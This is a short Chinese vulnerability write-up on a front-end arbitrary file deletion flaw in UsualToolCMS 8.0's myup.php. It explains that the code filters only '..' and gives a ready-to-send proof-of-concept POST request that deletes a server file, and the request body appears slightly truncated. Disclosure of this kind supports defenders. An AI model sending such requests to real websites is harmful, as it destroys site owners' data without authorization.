UsualToolcms前台任意文件删除
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一、漏洞简介
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前台myup.php文件最后一段存在任意文件删除

二、漏洞影响
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UsualToolCMS-8.0-Release

三、复现过程
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漏洞点：<http://0-sec.org/myup.php>

![](./resource/UsualToolcms8.0myup.php前台任意文件删除/media/rId25.shtml)

第47行只对..精心过滤，我仍然能任意删除网站内部的文件，直接构造poc，

![](./resource/UsualToolcms8.0myup.php前台任意文件删除/media/rId26.shtml)

![](./resource/UsualToolcms8.0myup.php前台任意文件删除/media/rId27.shtml)

    POST /UsualToolCMS/myup.php HTTP/1.1
    Host: 0-sec.org
    User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; rv:48.0) Gecko/20100101 Firefox/48.0
    Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
    Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
    Accept-Encoding: gzip, deflate
    DNT: 1
    X-Forwarded-For: 8.8.8.8
    Connection: close
    Upgrade-Insecure-Requests: 1
    Content-Type: application/x-www-form-urlencoded
    Content-Length: 25

    get=delimg&imgurl=./1.ph